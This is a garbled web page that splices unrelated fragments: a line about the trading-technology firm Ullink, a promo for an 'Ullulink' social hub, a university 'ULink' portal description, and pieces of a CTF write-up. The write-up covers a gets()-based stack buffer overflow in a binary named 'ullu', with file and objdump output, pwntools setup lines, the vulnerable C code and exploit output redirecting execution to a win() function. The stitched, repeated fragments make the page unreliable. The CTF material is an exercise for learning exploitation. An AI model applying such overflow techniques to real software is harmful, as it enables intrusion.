Ullink was a major global provider of multi-asset trading technology before its integration into larger financial entities. Itiviti To Merge With ULLINK - Markets Media
Ullulink is a decentralized social hub where calls for collaboration turn into real-world action. Post a "Ullu" (a pulse/need), and watch the network link you to the right people, resources, or answers in real-time. No algorithms. No ads. Just pure, resonant connectivity.
The code uses the gets() function, which is inherently dangerous because it does not check the length of the input. This allows for a classic Stack Buffer Overflow . Since there is no stack canary, we can overwrite the return address of the main function. ullulink
$ file ullu ullu: ELF 64-bit LSB executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=..., for GNU/Linux 3.2.0, not stripped
# Start the process p = process('./ullu') # p = remote('challenge.server.com', 1234) # For remote instance Ullink was a major global provider of multi-asset
printf("Enter your input: "); gets(buffer); // Vulnerable function!
printf("You entered: %s\n", buffer); return; No algorithms
$ python3 exploit.py [+] Starting local process './ullu': pid 12345 [+] Receiving all data: Done (98B) [*] Process './ullu' stopped with exit code 0 (pid 12345) Enter your input: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x56\x11@ Here is your flag: CTFbuff3r_0v3rfl0w_1s_4_cl4ss1c
$ objdump -d ullu | grep win 0000000000401156 <win>
It was designed to provide a user-friendly way to engage with the university, offering personalized announcements, a campus bus tracker, calendars, and academic deadlines. Core Functions of ULink
Students can view and accept financial aid awards, submit required documents, and check the status of their financial aid. 3. Campus Life and Information